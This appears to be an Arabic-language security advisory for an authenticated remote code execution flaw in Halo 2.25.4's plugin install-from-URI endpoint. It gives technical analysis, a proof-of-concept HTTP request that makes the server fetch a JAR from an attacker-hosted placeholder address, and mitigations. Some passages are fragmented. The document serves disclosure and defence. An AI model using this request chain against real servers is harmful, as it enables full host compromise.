
يُظهر ثغرة تنفيذ الأوامر عن بُعد المُصادَق عليها في Halo 2.25.4 عبر تثبيت URI للمكوّن الإضافي دون تحقق، بما في ذلك التحليل الفني واستغلال إثبات المفهوم.
تم تحديد ثغرة أمنية حرجة في إصدار Halo 2.25.4. يوفر التطبيق نقطة نهاية إدارية لتثبيت أو ترقية الإضافات من URI عن بُعد. ومع ذلك، يفشل النظام في التحقق من نطاق مصدر URI ويفتقر إلى حمايات تزوير الطلبات من جانب الخادم (SSRF) على هذا المكوّن المحدد. يمكن للمهاجم المُصادَق الذي يمتلك صلاحيات إدارة الإضافات توفير رابط لملف JAR خاص بإضافة تم إنشاؤه بشكل خبيث. سيقوم الخادم بتنزيل الملف وتخزينه مؤقتًا وتحميله ديناميكيًا في سياق JVM باستخدام إطار عمل PF4J و DefaultPluginApplicationContextFactory الخاص بـ Spring. وهذا يسمح بتنفيذ فئات امتداد غير موثوقة، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد (RCE) على نظام التشغيل المضيف الأساسي.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)يرجى الفصل بفواصل عند التقديم إلى نموذج CVE:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
يمكن للمسؤول المُصادَق إرسال طلب HTTP POST مُصمم يحتوي على عنوان URL خبيث لملف JAR لإضافة عن بُعد إلى نقطة النهاية /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
يحدث تنفيذ التعليمات البرمجية عن بُعد من خلال التسلسل التالي من العمليات:
PluginEndpoint.installFromUri() بمعالجة نص الطلب الوارد (InstallFromUriRequest) واستخراج سلسلة uri المقدمة من المستخدم. لا يتم تطبيق أي تصفية لقائمة النطاقات المسموح بها.DefaultReactiveUrlDataBufferFetcher.fetch(uri). على عكس مكوّنات الشبكة الداخلية الأخرى في Halo، لا يستدعي هذا الجالب HttpSecurityUtils.secureHttpClient()، متجاوزًا قيود عناوين IP الخاصة بالشبكة الداخلية/الحلقة المحلية (حماية SSRF).writeToTempFile(content).pluginService.install(path)، والذي يستخدم JarPluginLoader الخاص بـ PF4J لفك ضغط ملف JAR وتحميله.DefaultPluginApplicationContextFactory الخاص بـ Spring تلقائيًا بتحليل البيانات الوصفية داخل ملف plugin.yaml الخاص بالإضافة وتسجيل جميع فئات الامتداد المعلنة في سياق التطبيق كـ Active Spring Beans.static {}) أو كتل الطرق المُعلَّمة بـ @PostConstruct فورًا أثناء إنشاء المثيل عبر Runtime.getRuntime().exec().PluginEndpoint.java الأسطر 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Unvalidated network fetch
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
يقوم المهاجم بتجميع ملف JAR قياسي لإضافة PF4J/Halo (poc-plugin.jar) يحتوي على فئة امتداد مع آلية تنفيذ حمولة داخل خطاف دورة حياة @PostConstruct أو كتلة ثابتة. يستضيفه المهاجم على مستمع خارجي:
Bash
python3 -m http.server 9999
يرسل المستخدم الإداري المُصادَق الطلب التالي إلى خادم Halo المستهدف:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
يعالج الخادم التثبيت، ويجلب الأداة من خادم المهاجم، ويسجل الامتداد، وينفذ أمر النظام المُجمَّع، مما يعرض الخادم المستهدف للاختراق.


application.yaml) والملفات المخزنة.uri الواردة. قصر مخططات التثبيت عن بُعد على أسواق النظام البيئي الرسمية الموثوقة والمتحقق منها (مثل https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher لاستخدام أداة HttpSecurityUtils.secureHttpClient() الحالية لإسقاط الطلبات الموجهة إلى الحلقة المحلية (127.0.0.1) أو العناوين المحلية الارتباطية (169.254.169.254) أو شبكات الفئات الخاصة (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader من تجزئات الملفات أو التوقيعات المشفرة مقابل المفاتيح العامة المقدمة من المستودع الرسمي قبل تمريرها إلى DefaultPluginApplicationContextFactory لإنشاء السياق.